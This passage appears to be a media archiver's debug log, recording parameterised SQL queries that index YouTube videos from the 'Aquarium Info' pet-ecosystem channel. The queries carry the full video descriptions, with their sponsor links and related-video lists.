grocery store shrimp named Zoey from becoming someone’s dinner. Witness her incredible journey back to health as we bring her home and build a massive saltwater ecosystem for her. I challenge myself to build the ultimate 5 star private waterpark, featuring water slides, a real wave pool and so much more. I even 3D print a custom forklift to help me in this STEM project. If you’re curious about this little car I printed, check out Bambu Lab’s Cyberbrick collection here: https://tidd.ly/4pEIOjl \n\nWatch until the end to see what our KPop Demon Hunter pet shrimp think of their new home!! This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, KPop Demon Hunters, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this grocery store pets video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"KPop Demon Hunters\" so I notice you 🎤 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Turned a Grocery Store Shrimp into a Pet", "Yx3ugiqTKJ4", "https://www.youtube.com/watch?v=Yx3ugiqTKJ4", 32, 1092, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e121400 - I Turned a Grocery Store Shrimp into a Pet.mkv", false, ~U[2 (truncated) 11:12:41.145 [debug] QUERY OK source="sources" db=0.3ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:41.146 [debug] QUERY OK source="media_items" db=0.4ms idle=4.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-21 21:25:57Z], 32] 11:12:41.152 [debug] QUERY OK source="media_items" db=5.1ms idle=3.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I Built Minecraft for my Axolotls (Again!) \n\nOnly during Black Friday! Get 53% off the world’s fastest recharging power station here: https://ankerfast.club/q9x4s6 (Amazon) or https://ankerfast.club/3bmxfy (Official Website). #AnkerSOLIX #backuppower\n\n⚡️ Anker SOLIX C1000 Gen 2 | Guinness World Record Holder\n🔋 2,000W Output\n⏱️ Full Charge in 49 min\n💰 53% OFF BFCM Deal Live Now\n\nAfter I built Minecraft IRL for my axolotls Miso and Matcha, I knew I had to make something inspired by the new Minecraft movie for their best friends, Jojo and Java, too. Watch until the end to see Preston Playz react to my insane Minecraft in real life setup! \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nWatch as we build another epic Minecraft IRL ecosystem for my new axolotls, Jojo and Java! They finally get their dream home ecosystem. This $5,000 terrarium spans multiple Minecraft biomes, including a giant forest with a flower orchid praying mantis, an arid desert with Minecraft camel mobs, a snowy mountain with real snow, a Minecraft village with friendly Minecraft mobs and a lush cave for real axolotls! We have so many REAL mobs living in our Minecraft ecosystem, like my beetles Davy and Timmy, rare fish and so much more! Can you spot them all?\n\nIn this adventure-filled episode, Outdoor Adam travels to Montana to experience Minecraft in real life while hunting for a real axolotl. We also build a DIY 3D printed Minecraft shipwreck for our Minecraft ecosystem. \n\nWatch until the end to see if my axolotls Jojo and Java enjoy their new DREAM Minecraft ecosystem! This video is perfect for anyone who loves Minecraft, Minecraft IRL, axolotls, exotic pets, rare animals, DIY projects or is just interested in what it takes to keep axolotls as pets! \n\nIf you have any comments, suggestions or questions for this Minecraft IRL video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Chicken Jockey\" so I notice you 🐓🤠\n\nIf you love Minecraft, ecosystems, pets, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank!\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Built Minecraft for a Real Axolotl!", "db5fb560-8423-4b40-b8b4-dcd7d42148a8", "3Jht0AF-4TA", false, "https://www.youtube.com/watch?v=3Jht0AF-4TA", 32, [], 1063, false, 6, "/downloads/shows/Aquarium Info/Season 2025/s2025e112100 - I Built Minecraft for a Real Axolotl!.mkv", false, false, 98, ~U[2025-11-21 21:25:57Z], ~U[2026-06-02 15:12:41Z], ~U[2026-06-02 15:12:41Z], "I Built Minecraft for my Axolotls (Again!) \n\nOnly during Black Friday! Get 53% off the world’s fastest recharging power station here: https://ankerfast.club/q9x4s6 (Amazon) or https://ankerfast.club/3bmxfy (Official Website). #AnkerSOLIX #backuppower\n\n⚡️ Anker SOLIX C1000 Gen 2 | Guinness World Record Holder\n🔋 2,000W Output\n⏱️ Full Charge in 49 min\n💰 53% OFF BFCM Deal Live Now\n\nAfter I built Minecraft IRL for my axolotls Miso and Matcha, I knew I had to make something inspired by the new Minecraft movie for their best friends, Jojo and Java, too. Watch until the end to see Preston Playz react to my insane Minecraft in real life setup! \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nWatch as we build another epic Minecraft IRL ecosystem for my new axolotls, Jojo and Java! They finally get their dream home ecosystem. This $5,000 terrarium spans multiple Minecraft biomes, including a giant forest with a flower orchid praying mantis, an arid desert with Minecraft camel mobs, a snowy mountain with real snow, a Minecraft village with friendly Minecraft mobs and a lush cave for real axolotls! We have so many REAL mobs living in our Minecraft ecosystem, like my beetles Davy and Timmy, rare fish and so much more! Can you spot them all?\n\nIn this adventure-filled episode, Outdoor Adam travels to Montana to experience Minecraft in real life while hunting for a real axolotl. We also build a DIY 3D printed Minecraft shipwreck for our Minecraft ecosystem. \n\nWatch until the end to see if my axolotls Jojo and Java enjoy their new DREAM Minecraft ecosystem! This video is perfect for anyone who loves Minecraft, Minecraft IRL, axolotls, exotic pets, rare animals, DIY projects or is just interested in what it takes to keep axolotls as pets! \n\nIf you have any comments, suggestions or questions for this Minecraft IRL video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Chicken Jockey\" so I notice you 🐓🤠\n\nIf you love Minecraft, ecosystems, pets, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank!\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Built Minecraft for a Real Axolotl!", "3Jht0AF-4TA", "https://www.youtube.com/watch?v=3Jht0AF-4TA", 32, 1063, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e112100 - I Built Minecraft for a Real Axolotl!.mkv", false, ~U[2025-11-21 21:25:57Z]] 11:12:41.152 [debug] QUERY OK source="sources" db=0.3ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:41.153 [debug] QUERY OK source="media_items" db=0.4ms idle=7.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-01 18:02:00Z], 32] 11:12:41.155 [debug] QUERY OK source="media_items" db=1.2ms idle=7.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I turned my bed into a HUGE ant farm!\n\nJoin Revolut and get $20 here https://get.revolut.com/z4lF/AquariumInfo! Offer expires 6 months from 09/30/2025. Exclusions apply. $20 bonus paid by Revolut subject to the terms and conditions found here: https://www.revolut.com/en-US/legal/partner-sign-up-bonus/ \n\nIn this video, we simulate an ant colony over 100 days and turn my bed into an ant farm! We start with a single queen ant and grow her colony to over 1,000 ants. Throughout this episode, the ant colony faces many challenges, from spawning new life, suffering a great loss and even fighting off a rare predator.\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the epic ant farm\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nWhile Jamie and Joelle turn a bed into an ant farm, Outdoor Adam takes to the wilderness to track down an ant colony in real life. Adam’s mission is to learn about ants in the wild so the team can create the perfect ant ecosystem in Jamie’s bedroom.\n\nWatch until the end to see if Jamie sleeps in her new dream bedroom that's filled with ants! This video is perfect for anyone who is passionate about bedroom makeovers, dream bedrooms, dream beds, exotic pets, ant colonies, simulating ant colonies, wildlife rescue, DIY projects and creating the perfect ecosystem for their pets.\n\nIf you have any comments, suggestions or questions for this ant simulation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Scout is a Hero\" so I notice you 🦸\u200D♀️\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising a Bait Shop Crab as a Pet…\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Turned my Bed into a GIANT Ant Farm...", "fa2590c7-eafb-46e4-ab4e-f5a4befaec2f", "zndpck7p5wo", false, "https://www.youtube.com/watch?v=zndpck7p5wo", 32, [], 836, false, 7, "/downloads/shows/Aquarium Info/Season 2025/s2025e100100 - I Turned my Bed into a GIANT Ant Farm....mkv", false, false, 98, ~U[2025-10-01 18:02:00Z], ~U[2026-06-02 15:12:41Z], ~U[2026-06-02 15:12:41Z], "I turned my bed into a HUGE ant farm!\n\nJoin Revolut and get $20 here https://get.revolut.com/z4lF/AquariumInfo! Offer expires 6 months from 09/30/2025. Exclusions apply. $20 bonus paid by Revolut subject to the terms and conditions found here: https://www.revolut.com/en-US/legal/partner-sign-up-bonus/ \n\nIn this video, we simulate an ant colony over 100 days and turn my bed into an ant farm! We start with a single queen ant and grow her colony to over 1,000 ants. Throughout this episode, the ant colony faces many challenges, from spawning new life, suffering a great loss and even fighting off a rare predator.\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the epic ant farm\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nWhile Jamie and Joelle turn a bed into an ant farm, Outdoor Adam takes to the wilderness to track down an ant colony in real life. Adam’s mission is to learn about ants in the wild so the team can create the perfect ant ecosystem in Jamie’s bedroom.\n\nWatch until the end to see if Jamie sleeps in her new dream bedroom that's filled with ants! This video is perfect for anyone who is passionate about bedroom makeovers, dream bedrooms, dream beds, exotic pets, ant colonies, simulating ant colonies, wildlife rescue, DIY projects and creating the perfect ecosystem for their pets.\n\nIf you have any comments, suggestions or questions for this ant simulation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Scout is a Hero\" so I notice you 🦸\u200D♀️\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising a Bait Shop Crab as a Pet…\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Turned my Bed into a GIANT Ant Farm...", "zndpck7p5wo", "https://www.youtube.com/watch?v=zndpck7p5wo", 32, 836, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e100100 - I Turned my Bed into a GIANT Ant Farm....mkv", false, ~U[2025-10-01 18:02:00Z]] 11:12:41.155 [debug] QUERY OK source="sources" db=0.2ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:41.156 [debug] QUERY OK source="media_items" db=0.5ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-31 21:48:14Z], 32] 11:12:41.158 [debug] QUERY OK source="media_items" db=1.2ms idle=3.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Meet Nibbles, a bait store crab I am keeping as a pet! \n\nGet a Narwal Flow robot vacuum today using my code AQUAFLOW28. You’ll receive $300 off in the USA (https://bit.ly/4lpjryW) or $350 off in Canada (https://bit.ly/4oyLoY3)!\n\nIn this video, we rescue a blue crab from a bait shop and name her Nibbles. She was the last living crab in the live bait section at the bait store and I knew I had to save her. Usually, these bait store blue crabs are used as live bait for fishing. I knew I had to save this pet and build her a dream fish tank. I recently rescued Pickles, my grocery store king crab, and Mochi, my grocery store lobster, and built them a sunken Titanic, Bikini Bottom and a secret bunker, so I had to do something epic for my new pet bait store crab, Nibbles!\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nIn this heartwarming episode, we embark on a rescue mission to save a bait store crab named Nibbles from becoming live bait for a fish. Witness her incredible journey back to health as we bring her home and build a massive saltwater ecosystem for her, complete with a 3D printed cave system. \n\nWatch until the end to see what Nibbles thinks of her new home. This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, live bait stores, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this bait store rescue video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"RIP Noodle\" so I notice you 👼 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "Raising a Bait Shop Crab as a Pet...", "503f3908-996a-421d-bcd3-74e34a802cf2", "zrKIOAlWW9g", false, "https://www.youtube.com/watch?v=zrKIOAlWW9g", 32, [], 681, false, 8, "/downloads/shows/Aquarium Info/Season 2025/s2025e083100 - Raising a Bait Shop Crab as a Pet....mkv", false, false, 98, ~U[2025-08-31 21:48:14Z], ~U[2026-06-02 15:12:41Z], ~U[2026-06-02 15:12:41Z], "Meet Nibbles, a bait store crab I am keeping as a pet! \n\nGet a Narwal Flow robot vacuum today using my code AQUAFLOW28. You’ll receive $300 off in the USA (https://bit.ly/4lpjryW) or $350 off in Canada (https://bit.ly/4oyLoY3)!\n\nIn this video, we rescue a blue crab from a bait shop and name her Nibbles. She was the last living crab in the live bait section at the bait store and I knew I had to save her. Usually, these bait store blue crabs are used as live bait for fishing. I knew I had to save this pet and build her a dream fish tank. I recently rescued Pickles, my grocery store king crab, and Mochi, my grocery store lobster, and built them a sunken Titanic, Bikini Bottom and a secret bunker, so I had to do something epic for my new pet bait store crab, Nibbles!\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nIn this heartwarming episode, we embark on a rescue mission to save a bait store crab named Nibbles from becoming live bait for a fish. Witness her incredible journey back to health as we bring her home and build a massive saltwater ecosystem for her, complete with a 3D printed cave system. \n\nWatch until the end to see what Nibbles thinks of her new home. This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, live bait stores, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this bait store rescue video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"RIP Noodle\" so I notice you 👼 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "Raising a Bait Shop Crab as a Pet...", "zrKIOAlWW9g", "https://www.youtube.com/watch?v=zrKIOAlWW9g", 32, 681, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e083100 - Raising a Bait Shop Crab as a Pet....mkv", false, ~U[2025-08-31 21:48:14Z]] 11:12:41.158 [debug] QUERY OK source="sources" db=0.2ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:41.158 [debug] QUERY OK source="media_items" db=0.3ms idle=3.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-09 16:37:20Z], 32] 11:12:41.161 [debug] QUERY OK source="media_items" db=1.7ms idle=3.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I built a HUGE ecosystem in my bedroom! Book your next trip today with Klook on desktop or via the mobile app with my code AQUARIUMINFO for a 10% discount! Thanks Klook for sponsoring this video 🥰\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nA special thank you to our favorite sushi chefs at Sushi Ko Honten in Koto City, Tokyo for a 5 star sushi omakase experience. We couldn’t have done it without you guys!\n\nSUBSCRIBE for a chance at the PS5\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nThis is our longest episode yet - grab your popcorn! Watch as me and Joelle transform Adam’s bedroom into a DREAM $10,000 bedroom. This bedroom makeover captures an insane ecosystem transformation and I can’t wait for you to see the end result. It’s my dream bedroom transformation! Our ecosystem is teeming with life, from tiny toads, creepy bugs, live fish to deadly predators like the crested gecko. I’ve finally achieved my childhood dream of an extreme bedroom makeover!\n\nIf you have any comments, suggestions or questions for this ecosystem transformation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Go Sweetie!\" so I notice you 🦎\n\nIf you love fish and fish tanks check out my other videos!\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- Built a Maze for my Turtle to Escape… \n- I Built SpongeBob in a Fish Tank!\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- Did Wednesday Addams Lie?\n- I Built LEGO Minecraft for a Real Axolotl", "I Turned a Bedroom Into a Jungle!", "76d662f5-b162-4a28-9be9-8abd2e811018", "Nndy5il35l4", false, "https://www.youtube.com/watch?v=Nndy5il35l4", 32, [], 1022, false, 9, "/downloads/shows/Aquarium Info/Season 2025/s2025e080900 - I Turned a Bedroom Into a Jungle!.mkv", false, false, 98, ~U[2025-08-09 16:37:20Z], ~U[2026-06-02 15:12:41Z], ~U[2026-06-02 15:12:41Z], "I built a HUGE ecosystem in my bedroom! Book your next trip today with Klook on desktop or via the mobile app with my code AQUARIUMINFO for a 10% discount! Thanks Klook for sponsoring this video 🥰\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nA special thank you to our favorite sushi chefs at Sushi Ko Honten in Koto City, Tokyo for a 5 star sushi omakase experience. We couldn’t have done it without you guys!\n\nSUBSCRIBE for a chance at the PS5\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nThis is our longest episode yet - grab your 